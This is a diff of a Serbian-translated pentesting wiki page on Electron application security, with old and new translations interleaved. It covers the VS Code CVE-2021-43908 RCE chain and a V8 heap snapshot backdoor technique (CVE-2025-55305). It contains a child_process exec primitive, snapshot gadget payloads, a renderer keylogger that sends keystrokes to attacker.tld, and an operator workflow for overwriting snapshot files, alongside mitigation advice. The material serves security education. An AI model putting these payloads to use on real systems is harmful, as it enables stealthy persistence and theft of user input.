* Posle **Catalina / Big Sur**, sandbox-ovane aplikacije i dalje mogu **pretplatiti se** na **mnoge događaje** (na primer, **zaključavanje/otključavanje ekrana**, **mount-ovanje volumena**, **network activity**, itd.) registrovanjem notifikacija **po imenu**.
|
* Posle Catalina / Big Sur, sandboxed apps i dalje mogu **subscribe**-ovati na **mnoge događaje** (na primer, **screen locks/unlocks**, **volume mounts**, **network activity**, itd.) registrovanjem notifications **po imenu**.
|
||||||
|
|
||||||
### **getUserDefault / setUserDefault**
|
### **getUserDefault / setUserDefault**
|
||||||
|
|
||||||
* **Interfejs** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** preference na macOS.
|
* **Interfejsira** sa NSUserDefaults, koji čuva **application** ili **global** preferences na macOS.
|
||||||
|
|
||||||
* **getUserDefault** može **preuzeti** osetljive informacije, kao što su **lokacije nedavno otvorenih fajlova** ili **geografska lokacija korisnika**.
|
* **getUserDefault** može **dohvatiti** osetljive informacije, kao što su **lokacije nedavno otvorenih fajlova** ili **geografska lokacija korisnika**.
|
||||||
|
|
||||||
* **setUserDefault** može **izmeniti** ove preference, potencijalno utičući na **konfiguraciju** aplikacije.
|
* **setUserDefault** može **izmeniti** ove preference, potencijalno utičući na konfiguraciju aplikacije.
|
||||||
|
|
||||||
* U **starijim verzijama Electron** (pre v8.3.0), samo **standard suite** od NSUserDefaults je bio **dostupan**.
|
* U **starijim verzijama Electron-a** (pre v8.3.0), samo **standard suite** od NSUserDefaults je bio **pristupačan**.
|
||||||
|
|
||||||
## Shell.showItemInFolder
|
## Shell.showItemInFolder
|
||||||
|
|
||||||
Ova funkcija prikazuje dati fajl u file manageru, koji **bi mogao automatski izvršiti fajl**.
|
Ova funkcija prikazuje zadati fajl u file manageru, koji **može automatski izvršiti fajl**.
|
||||||
|
|
||||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||||
|
|
||||||
## Content Security Policy
|
## Content Security Policy
|
||||||
|
|
||||||
Electron apps treba da imaju **Content Security Policy (CSP)** kako bi **sprečili XSS napade**. **CSP** je **bezbednosni standard** koji pomaže da se **spreči** **izvršavanje** **nepouzdanog koda** u browseru.
|
Electron apps treba da imaju **Content Security Policy (CSP)** da bi **sprečili XSS napade**. **CSP** je **security standard** koji pomaže da se **spreči** izvršavanje **nepouzdanog koda** u browser kontekstu.
|
||||||
|
|
||||||
Obično se **konfiguriše** u fajlu **`main.js`** ili u **`index.html`** template-u sa CSP unutar **meta taga**.
|
Obično se **konfiguriše** u **`main.js`** fajlu ili u **`index.html`** šablonu sa CSP unutar **meta taga**.
|
||||||
|
|
||||||
For more information check:
|
For more information check:
|
||||||
|
|
||||||
@ -401,18 +401,41 @@ pentesting-web/content-security-policy-csp-bypass/
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
## **Tools**
|
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||||
|
|
||||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikovanje misconfigurations i security anti-patterns u Electron-based aplikacijama.
|
Ovaj real-world lanac je pogodio Visual Studio Code 1.63 (CVE-2021-43908) i pokazuje kako jedna markdown-driven XSS u webview-u može eskalirati do potpunog RCE kada su CSP, postMessage i scheme handlers pogrešno konfigurisani. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je open source VS Code plugin za Electron applications koji koristi Electronegativity.
|
|
||||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih third party biblioteka
|
|
||||||
- [**Electro.ng**](https://electro.ng/): Potrebno je kupiti
|
|
||||||
|
|
||||||
## Labs
|
Attack chain overview
|
||||||
|
- First XSS via webview CSP: Generisani CSP je uključivao `style-src 'self' 'unsafe-inline'`, dozvoljavajući inline/style zasnovanu injekciju u `vscode-webview://` kontekstu. Payload je beaconed na `/stealID` da bi exfiltrirao target webview’s extensionId.
|
||||||
|
- Constructing target webview URL: Korišćenjem leak ID za izgradnju `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||||
|
- Second XSS via postMessage trust: Outer webview je verovao `window.postMessage` bez strogih provera origin/type i učitao attacker HTML sa `allowScripts: true`.
|
||||||
|
- Local file loading via scheme/path rewriting: Payload je prepisao `file:///...` u `vscode-file://vscode-app/...` i zamenio `exploit.md` sa `RCE.html`, zloupotrebljavajući slabu validaciju putanje da učita privilegovani lokalni resurs.
|
||||||
|
- RCE in Node-enabled context: Učitana HTML stranica se izvršavala sa dostupnim Node API-ima, što je omogućilo izvršavanje OS komandi.
|
||||||
|
|
||||||
U [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete pronaći lab vežbu za eksploataciju ranjivih Electron aplikacija.
|
Example RCE primitive in the final context
|
||||||
|
```js
|
||||||
|
// RCE.html (executed in a Node-enabled webview context)
|
||||||
|
require('child_process').exec('calc.exe'); // Windows
|
||||||
|
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||||
|
```
|
||||||
|
Povezano štivo o problemima poverenja postMessage-a:
|
||||||
|
|
||||||
Neke komande koje će vam pomoći u labu:
|
{{#ref}}
|
||||||
|
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## **Alati**
|
||||||
|
|
||||||
|
- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikaciju pogrešnih konfiguracija i sigurnosnih anti-patterna u aplikacijama zasnovanim na Electronu.
|
||||||
|
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je VS Code dodatak otvorenog koda za Electron aplikacije koji koristi Electronegativity.
|
||||||
|
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih biblioteka trećih strana
|
||||||
|
- [**Electro.ng**](https://electro.ng/): Potrebno ga je kupiti
|
||||||
|
|
||||||
|
## Laboratorije
|
||||||
|
|
||||||
|
U [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete pronaći laboratoriju za eksploatisanje ranjivih Electron aplikacija.
|
||||||
|
|
||||||
|
Neke komande koje će vam pomoći u laboratoriji:
|
||||||
```bash
|
```bash
|
||||||
# Download apps from these URls
|
# Download apps from these URls
|
||||||
# Vuln to nodeIntegration
|
# Vuln to nodeIntegration
|
||||||
@ -437,13 +460,13 @@ npm start
|
|||||||
```
|
```
|
||||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||||
|
|
||||||
Electron i aplikacije zasnovane na Chromium-u deserializuju prebuilt V8 heap snapshot pri pokretanju (v8_context_snapshot.bin, i opciono browser_v8_context_snapshot.bin) da bi inicijalizovale svaki V8 isolate (main, preload, renderer). Istorijski gledano, Electron-ove integrity fuses nisu tretirale ove snapshot-e kao izvršni sadržaj, pa su izbegavali kako enforcement zasnovan na fuse-ovima tako i OS provere potpisivanja koda. Kao rezultat, zamena snapshot-a u instalaciji u kojoj korisnik ima pravo pisanja omogućavala je prikriveno, persistentno izvršavanje koda unutar aplikacije bez menjanja potpisanih binarnih fajlova ili ASAR.
|
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
|
||||||
|
|
||||||
Key points
|
Ključne tačke
|
||||||
- Propust u integritetu: EnableEmbeddedAsarIntegrityValidation i OnlyLoadAppFromAsar validiraju app JavaScript unutar ASAR-a, ali nisu pokrivali V8 heap snapshots (CVE-2025-55305). Chromium na sličan način ne proverava integritet snapshots.
|
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
|
||||||
- Uslovi napada: Lokalna mogućnost pisanja fajla u direktorijum instalacije aplikacije. Ovo je uobičajeno na sistemima gde su Electron aplikacije ili Chromium browsers instalirani u putanje koje korisnik može pisati (npr. %AppData%\Local na Windows; /Applications uz ograničenja na macOS).
|
- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||||
- Efekat: Pouzdano izvršavanje attacker JavaScript-a u bilo kojem isolate-u tako što se prepiše često korišćeni builtin (gadget), omogućavajući persistenciju i izbegavanje verifikacije potpisivanja koda.
|
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
|
||||||
- Pogođena površina: Electron apps (čak i sa uključenim fuses) i Chromium-based browsers koji učitavaju snapshots iz lokacija koje korisnik može menjati.
|
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
|
||||||
|
|
||||||
Generating a malicious snapshot without building Chromium
|
Generating a malicious snapshot without building Chromium
|
||||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||||
@ -462,12 +485,11 @@ Array.isArray = function () {
|
|||||||
throw new Error("testing isArray gadget");
|
throw new Error("testing isArray gadget");
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
Usmeravanje payloada u zavisnosti od isolata (pokretanje različitog koda u main i renderer)
|
Isolate-aware payload routing (pokreni različit kod u main vs. renderer)
|
||||||
|
- Detekcija main procesa: Node-only globals poput process.pid, process.binding(), ili process.dlopen su prisutni u main process isolate.
|
||||||
|
- Detekcija Browser/renderer: Browser-only globals poput alert dostupni su prilikom izvršavanja u kontekstu dokumenta.
|
||||||
|
|
||||||
- Detekcija main procesa: Node-only globals kao što su process.pid, process.binding(), или process.dlopen su prisutni u main process isolatu.
|
Primer gadgeta koji jednom sondira main-process Node capabilities
|
||||||
- Detekcija browser/renderer-a: Browser-only globals kao što je alert su dostupni kada se izvršava u kontekstu dokumenta.
|
|
||||||
|
|
||||||
Primer gadgeta koji jednom ispituje Node capabilities main procesa
|
|
||||||
```js
|
```js
|
||||||
const orig = Array.isArray;
|
const orig = Array.isArray;
|
||||||
|
|
||||||
@ -496,7 +518,7 @@ process.exit(0);
|
|||||||
return orig(...arguments);
|
return orig(...arguments);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
PoC za krađu podataka iz Renderer/browser-context (npr. Slack)
|
PoC krađe podataka iz renderer/browser-context (npr. Slack)
|
||||||
```js
|
```js
|
||||||
const orig = Array.isArray;
|
const orig = Array.isArray;
|
||||||
Array.isArray = function() {
|
Array.isArray = function() {
|
||||||
@ -520,27 +542,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
|
|||||||
return orig(...arguments);
|
return orig(...arguments);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
Tok rada operatera
|
Operaterov radni tok
|
||||||
1) Napišite payload.js koji prepisuje uobičajeni builtin (npr. Array.isArray) i opciono granuje po isolate-u.
|
1) Napišite payload.js koji prepisuje uobičajeni builtin (npr., Array.isArray) i po potrebi pravi grananje po isolate.
|
||||||
2) Izgradite snapshot bez Chromium izvora:
|
2) Napravite snapshot bez Chromium izvora:
|
||||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||||
3) Zamenite snapshot fajl(ove) ciljane aplikacije:
|
3) Prepišite snapshot fajl(ove) ciljane aplikacije:
|
||||||
- v8_context_snapshot.bin (uvek se koristi)
|
- v8_context_snapshot.bin (uvek se koristi)
|
||||||
- browser_v8_context_snapshot.bin (ako se koristi fuse LoadBrowserProcessSpecificV8Snapshot)
|
- browser_v8_context_snapshot.bin (ako se koristi fuse LoadBrowserProcessSpecificV8Snapshot)
|
||||||
4) Pokrenite aplikaciju; gadget se izvršava kad god se koristi izabrani builtin.
|
4) Pokrenite aplikaciju; gadget se izvršava svaki put kada se upotrebi odabrani builtin.
|
||||||
|
|
||||||
Beleške i razmatranja
|
Napomene i razmatranja
|
||||||
- Integrity/signature bypass: Snapshot fajlovi se ne tretiraju kao native izvršni fajlovi u proverama code-signing-a i (istorijski) nisu bili pokriveni Electron-ovim fuses ili Chromium kontrolama integriteta.
|
- Zaobilaženje integriteta/potpisa: Snapshot fajlovi se ne tretiraju kao native izvršni fajlovi od strane provera potpisivanja koda i (istorijski) nisu bili pokriveni Electron-ovim fuses ili Chromium kontrolama integriteta.
|
||||||
- Persistence: Zamena snapshot-a u instalaciji u kojoj korisnik ima prava za pisanje obično preživi restart aplikacije i izgleda kao potpisana, legitimna aplikacija.
|
- Perzistencija: Zamena snapshot-a u instalaciji gde korisnik ima pravo pisanja obično opstaje nakon restartovanja aplikacije i deluje kao potpisana, legitimna aplikacija.
|
||||||
- Chromium browsers: Isti koncept manipulacije važi za Chrome/derivate instalirane na lokacijama gde korisnik može pisati. Chrome ima druge mere integriteta, ali eksplicitno isključuje fizički lokalne napade iz svog modela pretnji.
|
- Chromium browsers: Isti koncept manipulisanja važi i za Chrome/derivate instalirane na lokacijama gde korisnik može pisati. Chrome ima druge mitigacije integriteta, ali eksplicitno isključuje fizički lokalne napade iz svog threat model-a.
|
||||||
|
|
||||||
Otkrivanje i ublažavanje
|
Detekcija i mitigacije
|
||||||
- Tretirati snapshot-e kao izvršni sadržaj i uključiti ih u primenu provera integriteta (CVE-2025-55305 fix).
|
- Tretirajte snapshot-e kao izvršni sadržaj i uključite ih u sprovođenje kontrole integriteta (ispravka CVE-2025-55305).
|
||||||
- Preferirati lokacije instalacije koje su upisive samo administratoru; napraviti baseline i nadgledati hasheve za v8_context_snapshot.bin i browser_v8_context_snapshot.bin.
|
- Preferirajte lokacije instalacije koje su writable samo za admina; uspostavite početne i pratite hash vrednosti za v8_context_snapshot.bin i browser_v8_context_snapshot.bin.
|
||||||
- Detektovati rano pri izvršavanju prepisivanje ugrađenih funkcija (builtin) i neočekivane promene snapshot-a; alarmirati kada deserijalizovani snapshot-i ne odgovaraju očekivanim vrednostima.
|
- Detektujte rano-runtime clobbering builtin-a i neočekivane promene snapshot-a; alarmirajte kada deserializovani snapshot-i ne odgovaraju očekivanim vrednostima.
|
||||||
|
|
||||||
## **References**
|
## **Referencije**
|
||||||
|
|
||||||
|
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||||
|
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||||
|
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||||
|
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||||
@ -550,7 +576,6 @@ Otkrivanje i ublažavanje
|
|||||||
- [Loki C2](https://github.com/boku7/Loki/)
|
- [Loki C2](https://github.com/boku7/Loki/)
|
||||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||||
|
|
||||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user